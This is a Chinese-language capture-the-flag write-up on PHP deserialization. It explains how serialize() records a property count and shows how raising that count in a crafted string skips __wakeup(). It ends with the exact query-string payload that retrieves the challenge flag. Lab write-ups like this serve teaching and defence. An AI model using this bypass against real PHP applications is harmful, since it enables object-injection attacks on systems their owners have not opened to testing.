wakeup()函数与反序列化

函数wakeup()用法、函数__wakeup()反序列化绕过。

代码审计

进入靶场,加载源码:

1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

wakeup()函数用法

wakeup()是用在反序列化操作中,unserialize()会检查存在一个wakeup()方法,如果存在,则先会调用__wakeup()方法。

1
2
3
4
5
6
7
8
9
<?php
class A{
function __wakeup(){
echo 'Hello';
}
}
$c = new A();
$d=unserialize('O:1:"A":0:{}');
?>

输出 Hello

函数__wakeup()反序列化

反序列化

1
2
3
4
5
6
7
8
9
<?php
class A{
public function __wakeup(){
echo 'Hello';
}
}
$c = new A();
var_dump(serialize($c))
?>

输出O:1:”A”:0:{}
其中在”A”类后面有一个数字0,表示的就是”A”类存在0个属性。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Student{
public $full_name = 'zhangsan';
public $score = 150;
public $grades = array();

function __wakeup() {
echo "__wakeup is invoked";
}
}
$s = new Student();
var_dump(serialize($s));
?>

O:7:”Student”:3:{s:9:”full_name”;s:8:”zhangsan”;s:5:”score”;i:150;s:6:”grades”;a:0:{}}
其中在Stuedent类后面有一个数字3,整个3表示的就是Student类存在3个属性。
3个属性为:$full_name ; $score ; $grades

函数__wakeup()漏洞及绕过

wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行。
比如将 O:1:”A”:0:{} 改为 O:1:”A”:1:{}
将 O:7:”Student”:3:{s:9:”full_name”;s:8:”zhangsan”;s:5:”score”;i:150;s:6:”grades”;a:0:{}}
改为 O:7:”Student”:5:{s:9:”full_name”;s:8:”zhangsan”;s:5:”score”;i:150;s:6:”grades”;a:0:{}}
均可以绕过__wakeup()函数。

实操

反序列化:

1
2
3
4
5
6
7
8
9
10
<?php
class xctf{ //定义一个名为xctf的类
public $flag = '111'; //定义一个公有的类属性$flag,值为111
public function __wakeup(){ //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$test = new xctf(); //使用new运算符来实例化该类(xctf)的对象为test
echo(serialize($test)); //输出被序列化的对象(test
?>

输出结果为 O:4:”xctf”:1:{s:4:”flag”;s:3:”111”;}
修改类的属性值,访问/?code=O:4:”xctf”:2:{s:4:”flag”;s:3:”111”;}即可得到flag